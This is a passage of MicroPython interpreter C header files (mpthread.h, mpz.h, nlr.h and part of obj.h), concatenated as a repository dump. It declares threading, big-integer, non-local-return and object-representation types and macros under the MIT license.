LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MPTHREAD_H #define MICROPY_INCLUDED_PY_MPTHREAD_H #include "py/mpconfig.h" #if MICROPY_PY_THREAD #ifdef MICROPY_MPTHREADPORT_H #include MICROPY_MPTHREADPORT_H #else #include #endif struct _mp_state_thread_t; struct _mp_state_thread_t *mp_thread_get_state(void); void mp_thread_set_state(void *state); void mp_thread_create(void *(*entry)(void*), void *arg, size_t *stack_size); void mp_thread_start(void); void mp_thread_finish(void); void mp_thread_mutex_init(mp_thread_mutex_t *mutex); int mp_thread_mutex_lock(mp_thread_mutex_t *mutex, int wait); void mp_thread_mutex_unlock(mp_thread_mutex_t *mutex); #endif // MICROPY_PY_THREAD #if MICROPY_PY_THREAD && MICROPY_PY_THREAD_GIL #include "py/mpstate.h" #define MP_THREAD_GIL_ENTER() mp_thread_mutex_lock(&MP_STATE_VM(gil_mutex), 1) #define MP_THREAD_GIL_EXIT() mp_thread_mutex_unlock(&MP_STATE_VM(gil_mutex)) #else #define MP_THREAD_GIL_ENTER() #define MP_THREAD_GIL_EXIT() #endif #endif // MICROPY_INCLUDED_PY_MPTHREAD_H ================================================ FILE: micropython/inc/py/mpz.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_MPZ_H #define MICROPY_INCLUDED_PY_MPZ_H #include #include "py/mpconfig.h" #include "py/misc.h" // This mpz module implements arbitrary precision integers. // // The storage for each digit is defined by mpz_dig_t. The actual number of // bits in mpz_dig_t that are used is defined by MPZ_DIG_SIZE. The machine must // also provide a type that is twice as wide as mpz_dig_t, in both signed and // unsigned versions. // // MPZ_DIG_SIZE can be between 4 and 8*sizeof(mpz_dig_t), but it makes most // sense to have it as large as possible. If MPZ_DIG_SIZE is not already // defined then it is auto-detected below, depending on the machine. The types // are then set based on the value of MPZ_DIG_SIZE (although they can be freely // changed so long as the constraints mentioned above are met). #ifndef MPZ_DIG_SIZE #if defined(__x86_64__) || defined(_WIN64) // 64-bit machine, using 32-bit storage for digits #define MPZ_DIG_SIZE (32) #else // default: 32-bit machine, using 16-bit storage for digits #define MPZ_DIG_SIZE (16) #endif #endif #if MPZ_DIG_SIZE > 16 typedef uint32_t mpz_dig_t; typedef uint64_t mpz_dbl_dig_t; typedef int64_t mpz_dbl_dig_signed_t; #elif MPZ_DIG_SIZE > 8 typedef uint16_t mpz_dig_t; typedef uint32_t mpz_dbl_dig_t; typedef int32_t mpz_dbl_dig_signed_t; #elif MPZ_DIG_SIZE > 4 typedef uint8_t mpz_dig_t; typedef uint16_t mpz_dbl_dig_t; typedef int16_t mpz_dbl_dig_signed_t; #else typedef uint8_t mpz_dig_t; typedef uint8_t mpz_dbl_dig_t; typedef int8_t mpz_dbl_dig_signed_t; #endif #ifdef _WIN64 #ifdef __MINGW32__ #define MPZ_LONG_1 1LL #else #define MPZ_LONG_1 1i64 #endif #else #define MPZ_LONG_1 1L #endif // these define the maximum storage needed to hold an int or long long #define MPZ_NUM_DIG_FOR_INT ((sizeof(mp_int_t) * 8 + MPZ_DIG_SIZE - 1) / MPZ_DIG_SIZE) #define MPZ_NUM_DIG_FOR_LL ((sizeof(long long) * 8 + MPZ_DIG_SIZE - 1) / MPZ_DIG_SIZE) typedef struct _mpz_t { size_t neg : 1; size_t fixed_dig : 1; size_t alloc : 8 * sizeof(size_t) - 2; size_t len; mpz_dig_t *dig; } mpz_t; // convenience macro to declare an mpz with a digit array from the stack, initialised by an integer #define MPZ_CONST_INT(z, val) mpz_t z; mpz_dig_t z ## _digits[MPZ_NUM_DIG_FOR_INT]; mpz_init_fixed_from_int(&z, z_digits, MPZ_NUM_DIG_FOR_INT, val); void mpz_init_zero(mpz_t *z); void mpz_init_from_int(mpz_t *z, mp_int_t val); void mpz_init_fixed_from_int(mpz_t *z, mpz_dig_t *dig, size_t dig_alloc, mp_int_t val); void mpz_deinit(mpz_t *z); void mpz_set(mpz_t *dest, const mpz_t *src); void mpz_set_from_int(mpz_t *z, mp_int_t src); void mpz_set_from_ll(mpz_t *z, long long i, bool is_signed); #if MICROPY_PY_BUILTINS_FLOAT void mpz_set_from_float(mpz_t *z, mp_float_t src); #endif size_t mpz_set_from_str(mpz_t *z, const char *str, size_t len, bool neg, unsigned int base); void mpz_set_from_bytes(mpz_t *z, bool big_endian, size_t len, const byte *buf); static inline bool mpz_is_zero(const mpz_t *z) { return z->len == 0; } static inline bool mpz_is_neg(const mpz_t *z) { return z->len != 0 && z->neg != 0; } int mpz_cmp(const mpz_t *lhs, const mpz_t *rhs); void mpz_abs_inpl(mpz_t *dest, const mpz_t *z); void mpz_neg_inpl(mpz_t *dest, const mpz_t *z); void mpz_not_inpl(mpz_t *dest, const mpz_t *z); void mpz_shl_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs); void mpz_shr_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs); void mpz_add_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs); void mpz_sub_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs); void mpz_mul_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs); void mpz_pow_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs); void mpz_pow3_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs, const mpz_t *mod); void mpz_and_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs); void mpz_or_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs); void mpz_xor_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs); void mpz_divmod_inpl(mpz_t *dest_quo, mpz_t *dest_rem, const mpz_t *lhs, const mpz_t *rhs); static inline size_t mpz_max_num_bits(const mpz_t *z) { return z->len * MPZ_DIG_SIZE; } mp_int_t mpz_hash(const mpz_t *z); bool mpz_as_int_checked(const mpz_t *z, mp_int_t *value); bool mpz_as_uint_checked(const mpz_t *z, mp_uint_t *value); void mpz_as_bytes(const mpz_t *z, bool big_endian, size_t len, byte *buf); #if MICROPY_PY_BUILTINS_FLOAT mp_float_t mpz_as_float(const mpz_t *z); #endif size_t mpz_as_str_inpl(const mpz_t *z, unsigned int base, const char *prefix, char base_char, char comma, char *str); #endif // MICROPY_INCLUDED_PY_MPZ_H ================================================ FILE: micropython/inc/py/nlr.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_NLR_H #define MICROPY_INCLUDED_PY_NLR_H // non-local return // exception handling, basically a stack of setjmp/longjmp buffers #include #include #include #include "py/mpconfig.h" typedef struct _nlr_buf_t nlr_buf_t; struct _nlr_buf_t { // the entries here must all be machine word size nlr_buf_t *prev; void *ret_val; // always a concrete object (an exception instance) #if !defined(MICROPY_NLR_SETJMP) || !MICROPY_NLR_SETJMP #if defined(__i386__) void *regs[6]; #elif defined(__x86_64__) #if defined(__CYGWIN__) void *regs[12]; #else void *regs[8]; #endif #elif defined(__thumb2__) || defined(__thumb__) || defined(__arm__) void *regs[10]; #elif defined(__xtensa__) void *regs[10]; #else #define MICROPY_NLR_SETJMP (1) //#warning "No native NLR support for this arch, using setjmp implementation" #endif #endif #if MICROPY_NLR_SETJMP jmp_buf jmpbuf; #endif }; #if MICROPY_NLR_SETJMP #include "py/mpstate.h" NORETURN void nlr_setjmp_jump(void *val); // nlr_push() must be defined as a macro, because "The stack context will be // invalidated if the function which called setjmp() returns." #define nlr_push(buf) ((buf)->prev = MP_STATE_THREAD(nlr_top), MP_STATE_THREAD(nlr_top) = (buf), setjmp((buf)->jmpbuf)) #define nlr_pop() { MP_STATE_THREAD(nlr_top) = MP_STATE_THREAD(nlr_top)->prev; } #define nlr_jump(val) nlr_setjmp_jump(val) #else unsigned int nlr_push(nlr_buf_t *); void nlr_pop(void); NORETURN void nlr_jump(void *val); #endif // This must be implemented by a port. It's called by nlr_jump // if no nlr buf has been pushed. It must not return, but rather // should bail out with a fatal error. NORETURN void nlr_jump_fail(void *val); // use nlr_raise instead of nlr_jump so that debugging is easier #ifndef MICROPY_DEBUG_NLR #define nlr_raise(val) nlr_jump(MP_OBJ_TO_PTR(val)) #else #include "mpstate.h" #define nlr_raise(val) \ do { \ /*printf("nlr_raise: nlr_top=%p\n", MP_STATE_THREAD(nlr_top)); \ fflush(stdout);*/ \ void *_val = MP_OBJ_TO_PTR(val); \ assert(_val != NULL); \ assert(mp_obj_is_exception_instance(val)); \ nlr_jump(_val); \ } while (0) #if !MICROPY_NLR_SETJMP #define nlr_push(val) \ assert(MP_STATE_THREAD(nlr_top) != val),nlr_push(val) /* #define nlr_push(val) \ printf("nlr_push: before: nlr_top=%p, val=%p\n", MP_STATE_THREAD(nlr_top), val),assert(MP_STATE_THREAD(nlr_top) != val),nlr_push(val) #endif */ #endif #endif #endif // MICROPY_INCLUDED_PY_NLR_H ================================================ FILE: micropython/inc/py/obj.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJ_H #define MICROPY_INCLUDED_PY_OBJ_H #include "py/mpconfig.h" #include "py/misc.h" #include "py/qstr.h" #include "py/mpprint.h" // This is the definition of the opaque MicroPython object type. // All concrete objects have an encoding within this type and the // particular encoding is specified by MICROPY_OBJ_REPR. #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D typedef uint64_t mp_obj_t; typedef uint64_t mp_const_obj_t; #else typedef void *mp_obj_t; typedef const void *mp_const_obj_t; #endif // This mp_obj_type_t struct is a concrete MicroPython object which holds info // about a type. See below for actual definition of the struct. typedef struct _mp_obj_type_t mp_obj_type_t; // Anything that wants to be a concrete MicroPython object must have mp_obj_base_t // as its first member (small ints, qstr objs and inline floats are not concrete). struct _mp_obj_base_t { const mp_obj_type_t *type MICROPY_OBJ_BASE_ALIGNMENT; }; typedef struct _mp_obj_base_t mp_obj_base_t; // These fake objects are used to indicate certain things in arguments or return // values, and should only be used when explicitly allowed. // // - MP_OBJ_NULL : used to indicate the absence of an object, or unsupported operation. // - MP_OBJ_STOP_ITERATION : used instead of throwing a StopIteration, for efficiency. // - MP_OBJ_SENTINEL : used for various internal purposes where one needs // an object which is unique from all other objects, including MP_OBJ_NULL. // // For debugging purposes they are all different. For non-debug mode, we alias // as many as we can to MP_OBJ_NULL because it's cheaper to load/compare 0. #ifdef NDEBUG #define MP_OBJ_NULL (MP_OBJ_FROM_PTR((void*)0)) #define MP_OBJ_STOP_ITERATION (MP_OBJ_FROM_PTR((void*)0)) #define MP_OBJ_SENTINEL (MP_OBJ_FROM_PTR((void*)4)) #else #define MP_OBJ_NULL (MP_OBJ_FROM_PTR((void*)0)) #define MP_OBJ_STOP_ITERATION (MP_OBJ_FROM_PTR((void*)4)) #define MP_OBJ_SENTINEL (MP_OBJ_FROM_PTR((void*)8)) #endif // These macros/inline functions operate on objects and depend on the // particular object representation. They are used to query, pack and // unpack small ints, qstrs and full object pointers. #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_A static inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 1) != 0); } #define MP_OBJ_SMALL_INT_VALUE(o) (((mp_int_t)(o)) >> 1) #define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)((((mp_uint_t)(small_int)) << 1) | 1)) static inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 3) == 2); } #define MP_OBJ_QSTR_VALUE(o) (((mp_uint_t)(o)) >> 2) #define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 2) | 2)) #if MICROPY_PY_BUILTINS_FLOAT #define mp_const_float_e MP_ROM_PTR(&mp_const_float_e_obj) #define mp_const_float_pi MP_ROM_PTR(&mp_const_float_pi_obj) extern const struct _mp_obj_float_t mp_const_float_e_obj; extern const struct _mp_obj_float_t mp_const_float_pi_obj; #define mp_obj_is_float(o) MP_OBJ_IS_TYPE((o), &mp_type_float) mp_float_t mp_obj_float_get(mp_obj_t self_in); mp_obj_t mp_obj_new_float(mp_float_t value); #endif static inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 3) == 0); } #elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_B static inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 3) == 1); } #define MP_OBJ_SMALL_INT_VALUE(o) (((mp_int_t)(o)) >> 2) #define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)((((mp_uint_t)(small_int)) << 2) | 1)) static inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 3) == 3); } #define MP_OBJ_QSTR_VALUE(o) (((mp_uint_t)(o)) >> 2) #define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 2) | 3)) #if MICROPY_PY_BUILTINS_FLOAT #define mp_const_float_e MP_ROM_PTR(&mp_const_float_e_obj) #define mp_const_float_pi MP_ROM_PTR(&mp_const_float_pi_obj) extern const struct _mp_obj_float_t mp_const_float_e_obj; extern const struct _mp_obj_float_t mp_const_float_pi_obj; #define mp_obj_is_float(o) MP_OBJ_IS_TYPE((o), &mp_type_float) mp_float_t mp_obj_float_get(mp_obj_t self_in); mp_obj_t mp_obj_new_float(mp_float_t value); #endif static inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 1) == 0); } #elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C static inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 1) != 0); } #define MP_OBJ_SMALL_INT_VALUE(o) (((mp_int_t)(o)) >> 1) #define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)((((mp_uint_t)(small_int)) << 1) | 1)) #define mp_const_float_e MP_ROM_PTR((mp_obj_t)(((0x402df854 & ~3) | 2) + 0x80800000)) #define mp_const_float_pi MP_ROM_PTR((mp_obj_t)(((0x40490fdb & ~3) | 2) + 0x80800000)) static inline bool mp_obj_is_float(mp_const_obj_t o) { return (((mp_uint_t)(o)) & 3) == 2 && (((mp_uint_t)(o)) & 0xff800007) != 0x00000006; } static inline mp_float_t mp_obj_float_get(mp_const_obj_t o) { union { mp_float_t f; mp_uint_t u; } num = {.u = ((mp_uint_t)o - 0x80800000) & ~3}; return num.f; } static inline mp_obj_t mp_obj_new_float(mp_float_t f) { union { mp_float_t f; mp_uint_t u; } num = {.f = f}; return (mp_obj_t)(((num.u & ~0x3) | 2) + 0x80800000); } static inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o) { return (((mp_uint_t)(o)) & 0xff800007) == 0x00000006; } #define MP_OBJ_QSTR_VALUE(o) (((mp_uint_t)(o)) >> 3) #define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 3) | 0x00000006)) static inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 3) == 0); } #elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D static inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 0xffff000000000000) == 0x0001000000000000); } #define MP_OBJ_SMALL_INT_VALUE(o) (((intptr_t)(o)) >> 1) #define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)(((uintptr_t)(small_int)) << 1) | 0x0001000000000001) static inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o) { return ((((mp_int_t)(o)) & 0xffff000000000000) == 0x0002000000000000); } #define MP_OBJ_QSTR_VALUE(o) ((((uint32_t)(o)) >> 1) & 0xffffffff) #define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 1) | 0x0002000000000001)) #if MICROPY_PY_BUILTINS_FLOAT #define mp_const_float_e {((mp_obj_t)((uint64_t)0x4005bf0a8b125769 + 0x8004000000000000))} #define mp_const_float_pi {((mp_obj_t)((uint64_t)0x400921fb54442d18 + 0x8004000000000000))} static inline bool mp_obj_is_float(mp_const_obj_t o) { return ((uint64_t)(o) & 0xfffc000000000000) != 0; } static inline mp_float_t mp_obj_float_get(mp_const_obj_t o) { union { mp_float_t f; uint64_t r; } num = {.r = o - 0x8004000000000000}; return num.f; } static inline mp_obj_t mp_obj_new_float(mp_float_t f) { union { mp_float_t f; uint64_t r; } num = {.f = f}; return num.r + 0x8004000000000000; } #endif static inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o) { return ((((uint64_t)(o)) & 0xffff000000000000) == 0x0000000000000000); } #define MP_OBJ_TO_PTR(o) ((void*)(uintptr_t)(o)) #define MP_OBJ_FROM_PTR(p) ((mp_obj_t)((uintptr_t)(p))) // rom object storage needs special handling to widen 32-bit pointer to 64-bits typedef union _mp_rom_obj_t { uint64_t u64; struct { const void *lo, *hi; } u32; } mp_rom_obj_t; #define MP_ROM_INT(i) {MP_OBJ_NEW_SMALL_INT(i)} #define MP_ROM_QSTR(q) {MP_OBJ_NEW_QSTR(q)} #if MP_ENDIANNESS_LITTLE #define MP_ROM_PTR(p) {.u32 = {.lo = (p), .hi = NULL}} #else #define MP_ROM_PTR(p) {.u32 = {.lo = NULL, .hi = (p)}} #endif #endif // Macros to convert between mp_obj_t and concrete object types. // These are identity operations in MicroPython, but ability to override // these operations are provided to experiment with other methods of // object representation and memory management. // Cast mp_obj_t to object pointer #ifndef MP_OBJ_TO_PTR #define MP_OBJ_TO_PTR(o) ((void*)o) #endif // Cast object pointer to mp_obj_t #ifndef MP_OBJ_FROM_PTR #define MP_OBJ_FROM_PTR(p) ((mp_obj_t)p) #endif // Macros to create objects that are stored in ROM. #ifndef MP_ROM_INT typedef mp_const_obj_t mp_rom_obj_t; #define MP_ROM_INT(i) MP_OBJ_NEW_SMALL_INT(i) #define MP_ROM_QSTR(q) MP_OBJ_NEW_QSTR(q) #define MP_ROM_PTR(p) (p) /* for testing typedef struct _mp_rom_obj_t { mp_const_obj_t o; } mp_rom_obj_t; #define MP_ROM_INT(i) {MP_OBJ_NEW_SMALL_INT(i)} #define MP_ROM_QSTR(q) {MP_OBJ_NEW_QSTR(q)} #define MP_ROM_PTR(p) {.o = p} */ #endif // The macros below are derived from the ones above and are used to // check for more specific object types. #define MP_OBJ_IS_TYPE(o, t) (MP_OBJ_IS_OBJ(o) && (((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type == (t))) // this does not work for checking int, str or fun; use below macros for that #define MP_OBJ_IS_INT(o) (MP_OBJ_IS_SMALL_INT(o) || MP_OBJ_IS_TYPE(o, &mp_type_int)) #define MP_OBJ_IS_STR(o) (MP_OBJ_IS_QSTR(o) || MP_OBJ_IS_TYPE(o, &mp_type_str)) #define MP_OBJ_IS_STR_OR_BYTES(o) (MP_OBJ_IS_QSTR(o) || (MP_OBJ_IS_OBJ(o) && ((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type->binary_op == mp_obj_str_binary_op)) #define MP_OBJ_IS_FUN(o) (MP_OBJ_IS_OBJ(o) && (((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type->name == MP_QSTR_function)) // Note: inline functions sometimes use much more code space than the // equivalent macros, depending on the compiler. //static inline bool MP_OBJ_IS_TYPE(mp_const_obj_t o, const mp_obj_type_t *t) { return (MP_OBJ_IS_OBJ(o) && (((mp_obj_base_t*)(o))->type == (t))); } // this does not work for checking a string, use below macro for that //static inline bool MP_OBJ_IS_INT(mp_const_obj_t o) { return (MP_OBJ_IS_SMALL_INT(o) || MP_OBJ_IS_TYPE(o, &mp_type_int)); } // returns true if o is a small int or long int // Need to forward declare these for the inline function to compile. extern const mp_obj_type_t mp_type_int; extern const mp_obj_type_t mp_type_bool; static inline bool mp_obj_is_integer(mp_const_obj_t o) { return MP_OBJ_IS_INT(o) || MP_OBJ_IS_TYPE(o, &mp_type_bool); } // returns true if o is bool, small int or long int //static inline bool MP_OBJ_IS_STR(mp_const_obj_t o) { return (MP_OBJ_IS_QSTR(o) || MP_OBJ_IS_TYPE(o, &mp_type_str)); } // These macros are used to declare and define constant function objects // You can put "static" in front of the definitions to make them local // If using a C++ compiler then we can only initialise a const union with the // first member, and so we use distinct struct types for all possible cases #define MP_DECLARE_CONST_FUN_OBJ_0(obj_name) extern const mp_obj_fun_builtin_fixed0_t obj_name #define MP_DECLARE_CONST_FUN_OBJ_1(obj_name) extern const mp_obj_fun_builtin_fixed1_t obj_name #define MP_DECLARE_CONST_FUN_OBJ_2(obj_name) extern const mp_obj_fun_builtin_fixed2_t obj_name #define MP_DECLARE_CONST_FUN_OBJ_3(obj_name) extern const mp_obj_fun_builtin_fixed3_t obj_name #define MP_DECLARE_CONST_FUN_OBJ_VAR(obj_name) extern const mp_obj_fun_builtin_var_t obj_name #define MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(obj_name) extern const mp_obj_fun_builtin_var_t obj_name #define MP_DECLARE_CONST_FUN_OBJ_KW(obj_name) extern const mp_obj_fun_builtin_kw_t obj_name #define MP_DEFINE_CONST_FUN_OBJ_0(obj_name, fun_name) \ const mp_obj_fun_builtin_fixed0_t obj_name = \ {{&mp_type_fun_builtin_0}, fun_name} #define MP_DEFINE_CONST_FUN_OBJ_1(obj_name, fun_name) \ const mp_obj_fun_builtin_fixed1_t obj_name = \ {{&mp_type_fun_builtin_1}, fun_name} #define MP_DEFINE_CONST_FUN_OBJ_2(obj_name, fun_name) \ const mp_obj_fun_builtin_fixed2_t obj_name = \ {{&mp_type_fun_builtin_2}, fun_name} #define MP_DEFINE_CONST_FUN_OBJ_3(obj_name, fun_name) \ const mp_obj_fun_builtin_fixed3_t obj_name = \ {{&mp_type_fun_builtin_3}, fun_name} #define MP_DEFINE_CONST_FUN_OBJ_VAR(obj_name, n_args_min, fun_name) \ const mp_obj_fun_builtin_var_t obj_name = \ {{&mp_type_fun_builtin_var}, false, n_args_min, MP_OBJ_FUN_ARGS_MAX, fun_name} #define MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(obj_name, n_args_min, n_args_max, fun_name) \ const mp_obj_fun_builtin_var_t obj_name = \ {{&mp_type_fun_builtin_var}, false, n_args_min, n_args_max, fun_name} #define MP_DEFINE_CONST_FUN_OBJ_KW(obj_name, n_args_min, fun_name) \ const mp_obj_fun_builtin_kw_t obj_name = \ {{&mp_type_fun_builtin_var}, true, n_args_min, MP_OBJ_FUN_ARGS_MAX, fun_name} // These macros are used to define constant map/dict objects // You can put "static" in front of the definition to make it local #define MP_DEFINE_CONST_MAP(map_name, table_name) \ const mp_map_t map_name = { \ .all_keys_are_qstrs = 1, \ .is_fixed = 1, \ .is_ordered = 1, \ .used = MP_ARRAY_SIZE(table_name), \ .alloc = MP_ARRAY_SIZE(table_name), \ .table = (mp_map_elem_t*)(mp_rom_map_elem_t*)table_name, \ } #define MP_DEFINE_CONST_DICT(dict_name, table_name) \ const mp_obj_dict_t dict_name = { \ .base = {&mp_type_dict}, \ .map = { \ .all_keys_are_qstrs = 1, \ .is_fixed = 1, \ .is_ordered = 1, \ .used = MP_ARRAY_SIZE(table_name), \ .alloc = MP_ARRAY_SIZE(table_name), \ .table = (mp_map_elem_t*)(mp_rom_map_elem_t*)table_name, \ }, \ } // These macros are used to declare and define constant staticmethond and classmethod objects // You can put "static" in front of the definitions to make them local #define MP_DECLARE_CONST_STATICMETHOD_OBJ(obj_name) extern const mp_rom_obj_static_class_method_t obj_name #define MP_DECLARE_CONST_CLASSMETHOD_OBJ(obj_name) extern const mp_rom_obj_static_class_method_t obj_name #define MP_DEFINE_CONST_STATICMETHOD_OBJ(obj_name, fun_name) const mp_rom_obj_static_class_method_t obj_name = {{&mp_type_staticmethod}, fun_name} #define MP_DEFINE_CONST_CLASSMETHOD_OBJ(obj_name, fun_name) const mp_rom_obj_static_class_method_t obj_name = {{&mp_type_classmethod}, fun_name} // Underlying map/hash table implementation (not dict object or map function) typedef struct _mp_map_elem_t { mp_obj_t key; mp_obj_t value; } mp_map_elem_t; typedef struct _mp_rom_map_elem_t { mp_rom_obj_t key; mp_rom_obj_t value; } mp_rom_map_elem_t; // TODO maybe have a truncated mp_map_t for fixed tables, since alloc=used // put alloc last in the structure, so the truncated version does not need it // this would save 1 ROM word for all ROM objects that have a locals_dict // would also need a trucated dict structure typedef struct _mp_map_t { size_t all_keys_are_qstrs : 1; size_t is_fixed : 1; // a fixed array that can't be modified; must also be ordered size_t is_ordered : 1; // an ordered array size_t used : (8 * sizeof(size_t) - 3); size_t alloc; mp_map_elem_t *table; } mp_map_t; // mp_set_lookup requires these constants to have the values they do typedef enum _mp_map_lookup_kind_t { MP_MAP_LOOKUP = 0, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND = 1, MP_MAP_LOOKUP_REMOVE_IF_FOUND = 2, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND_OR_REMOVE_IF_FOUND = 3, // only valid for mp_set_lookup } mp_map_lookup_kind_t; extern const mp_map_t mp_const_empty_map; static inline bool MP_MAP_SLOT_IS_FILLED(const mp_map_t *map, size_t pos) { return ((map)->table[pos].key != MP_OBJ_NULL && (map)->table[pos].key != MP_OBJ_SENTINEL); } void mp_map_init(mp_map_t *map, size_t n); void mp_map_init_fixed_table(mp_map_t *map, size_t n, const mp_obj_t *table); mp_map_t *mp_map_new(size_t n); void mp_map_deinit(mp_map_t *map); void mp_map_free(mp_map_t *map); mp_map_elem_t *mp_map_lookup(mp_map_t *map, mp_obj_t index, mp_map_lookup_kind_t lookup_kind); void mp_map_clear(mp_map_t *map); void mp_map_dump(mp_map_t *map); // Underlying set implementation (not set object) typedef struct _mp_set_t { size_t alloc; size_t used; mp_obj_t *table; } mp_set_t; static inline bool MP_SET_SLOT_IS_FILLED(const mp_set_t *set, size_t pos) { return ((set)->table[pos] != MP_OBJ_NULL && (set)->table[pos] != MP_OBJ_SENTINEL); } void mp_set_init(mp_set_t *set, size_t n); mp_obj_t mp_set_lookup(mp_set_t *set, mp_obj_t index, mp_map_lookup_kind_t lookup_kind); mp_obj_t mp_set_remove_first(mp_set_t *set); void mp_set_clear(mp_set_t *set); // Type definitions for methods typedef mp_obj_t (*mp_fun_0_t)(void); typedef mp_obj_t 